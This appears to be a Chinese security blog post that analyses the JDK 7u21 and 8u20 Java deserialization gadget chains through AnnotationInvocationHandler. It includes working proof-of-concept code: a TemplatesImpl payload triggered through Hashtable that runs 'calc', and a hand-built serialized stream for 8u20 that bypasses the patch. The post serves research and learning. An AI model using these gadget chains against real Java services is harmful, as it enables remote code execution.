前言

非常特别的反序列化链,虽然可用范围很小,但是用到的类都在 JDK 内部。


7u21

观察到参考文章里面的修复方式是对 AnnotationInvocationHandler 类的 this.type 属性做了限制,所以找找用到这个属性的地方,找到 getMemberMethods 函数:

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

函数中会使用反射根据 type 属性获取某个 Class 中定义的函数,再找找调用了 getMemberMethods 函数的地方:

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } 
                ...
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

简单来说就是在参数为 type 的实例的时候,可以按顺序调用某个类/接口的函数,但是如果调用了有参函数就会抛出异常结束执行,所以选择类/接口的时候要注意其函数的顺序。

而我们的好朋友 TemplatesImpl 类继承了 Templates 接口,里面只有两个函数:

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

而这两个函数都可以出发我们熟悉的 TemplatesImpl 从字节码中定义、加载类的操作,所以可以用这种方式进行 RCE。

equalsImpl 这个名字明显与 equals 相关,调用代码在 invoke 中:

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    }
    ...
}

用 AnnotationInvocationHandler 代理 equals,就能触发上面的反射调用函数。而 readObject 中会触发 equals 的类也挺多的, 比如 HashSet、HashTable 等等。

maven 弄个适用于 JDK7 的低版本 javassist:

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.18.2-GA</version>
</dependency>

测试代码(使用 HashTable 需要注意一下保证 hashCode 一致):

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", TransformerFactoryImpl.newInstance());

Map map = new HashMap(2);
map.put("", templates);
Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
Map mapProxy = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), annotationInvocationHandler);

Hashtable hashtable = new Hashtable();
hashtable.put("1", "2");
hashtable.put("2", "2");
Object[] table = (Object[]) getFieldValue(hashtable, "table");
setField(table[5], "key", templates);
setField(table[6], "key", mapProxy);

unserialize(serialize(hashtable));

8u20

在 AnnotationInvocationHandler 类中的修复如下:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }
    ...
}

在 readObject 函数中进行了限制,如果 type 属性不是注解类型,就会抛出异常直接中断反序列化进程。

但是对 Java 反序列化有一点了解的师傅都知道,异常是在 readObject 函数中抛出的,此时该对象的大部分数据已经完成了反序列化,剩下还没反序列化的就是 writeObject 函数中额外写入的函数(如 writeObject、writeInt 等)。

而 AnnotationInvocationHandler 类中并没有 writeObject 函数,也就是说此时 AnnotationInvocationHandler 对象其实已经反序列化完成了,只是被抛出的异常中断了流程。所以只要解决这个抛出的异常,我们就能绕过这个修复继续 RCE,而解决异常的方法一般来说就是 try/catch,比如在某个类的 readObject 函数中,有一块 try/catch 的代码块里面调用了 readObject 还原 writeObject 写入的额外数据。

但这样一来即使捕获了异常没有中断反序列化,反序列化出来的这个 AnnotationInvocationHandler 对象多半也会因为抛出了异常而不会保存下来,变成一个只存在于内存,无法访问的“幽灵”对象。

按照 payload 原作者的思路,要访问这个“幽灵”对象,就要用到一个 Java 反序列化的机制 REFERENCE,用 SerializationDumper 查看将一个对象写入两次生成的序列化数据:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 15 - 0x00 0f
        Value - org.example.Foo - 0x6f72672e6578616d706c652e466f6f
      serialVersionUID - 0x74 83 16 48 f2 29 b7 cf
      newHandle 0x00 7e 00 00
      classDescFlags - 0x02 - SC_SERIALIZABLE
      fieldCount - 0 - 0x00 00
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 01
    classdata
      org.example.Foo
        values
  TC_REFERENCE - 0x71
    Handle - 8257537 - 0x00 7e 00 01

因为同一个对象写入了两次,而为了反序列化的简便肯定不会将相同数据写入两次,所以第二次写入的时候写入的就不是对象,而是一个 REFERENCE 引用,指向前面的对象,反序列化的时候就能知道这里是个与前面相同的数据。

按照原作者的思路,这里构造 payload 要自行编写字节码(因为是流式数据,所以按顺序写下去就行了),构造难度不高,阅读一遍原作者的源码就能明白。

唯一有一个坑点的就是 AnnotationInvocationHandler 对象的 flag 字段,如果不加上代表 SC_WRITE_METHOD 的 1,在抛出异常后会导致后续的反序列化出错,理由不明(或许是因为没有实现 writeObject 函数的类,在 readObject 时不会有因为反序列化额外数据导致的异常,所以此时如果出现了异常就会直接中断反序列化)。

我自己写了个 Hashtable 的利用链来巩固一下:

return new Object[]{
    STREAM_MAGIC, STREAM_VERSION, // 序列化数据头
    TC_OBJECT,
    TC_CLASSDESC,
    Hashtable.class.getName(),
    0x13bb0f25214ae4b8L, // serialVersionUID
    (byte) 3, // flags (SC_SERIALIZABLE)
    (short) 1, // field count
    (byte) 'F', "loadFactor",
    TC_ENDBLOCKDATA,
    TC_NULL,
    0.75f,
    TC_BLOCKDATA,
    (byte) 8,
    0,
    2,
    TC_OBJECT,
    TC_PROXYCLASSDESC,
    1,
    Map.class.getName(),
    TC_ENDBLOCKDATA,
    TC_CLASSDESC,
    Proxy.class.getName(),
    -2222568056686623797L,
    (byte) 2,
    (short) 2,
    (byte) 'L', "foo", TC_STRING, "Ljava/lang/Object;",
    (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;",
    TC_ENDBLOCKDATA,
    TC_NULL,
    TC_OBJECT,
    TC_CLASSDESC,
    BeanContextSupport.class.getName(),
    -4879613978649577204L,
    (byte) 3,
    (short) 1,
    (byte) 'I', "serializable",
    TC_ENDBLOCKDATA,
    TC_CLASSDESC,
    BeanContextChildSupport.class.getName(),
    6328947014421475877L,
    (byte) 2,
    (short) 1,
    (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
    TC_ENDBLOCKDATA,
    TC_NULL,
    TC_REFERENCE, baseWireHandle + 0x0a,
    1,
    TC_OBJECT,
    TC_CLASSDESC,
    "sun.reflect.annotation.AnnotationInvocationHandler",
    6182022883658399397L,
    (byte) 3,
    (short) 2,
    (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;",
    (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;",
    TC_ENDBLOCKDATA,
    TC_NULL,
    Templates.class,
    TC_OBJECT,
    TC_CLASSDESC,
    HashMap.class.getName(),
    0x0507dac1c31660d1L,
    (byte) 3,
    (short) 1,
    (byte) 'F', "loadFactor",
    TC_ENDBLOCKDATA,
    TC_NULL,
    0.75f,
    TC_BLOCKDATA,
    (byte) 8,
    0,
    1,
    TC_STRING, "",
    templates,
    TC_ENDBLOCKDATA,
    TC_BLOCKDATA,
    (byte) 4,
    0,
    TC_ENDBLOCKDATA,
    TC_REFERENCE, baseWireHandle + 0x0e,
    TC_STRING, "foo",
    TC_REFERENCE, baseWireHandle + 0x1a,
    TC_STRING, "Twings",
    TC_ENDBLOCKDATA,
};

最后再 patch 一下,将 templates 中属性 _name 的引用 handler 改成某个 String 即可。

理论上,传统构造方式应该也是可行的(给 AnnotationInvocationHandler 对象的 flag 加上 SC_WRITE_METHOD,再用 endorsed 修改一下 Proxy 等类,加上一个不存在的 Object 类型属性),但是比较麻烦就是了。


参考

https://mp.weixin.qq.com/s/Daipik5qK6cIuYl49G-n4Q

https://github.com/pwntester/JRE8u20_RCE_Gadget

https://www.freebuf.com/vuls/176672.html


Web Java 反序列化

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Tomcat源码观测
PHP SplDoublyLinkedList UAF 利用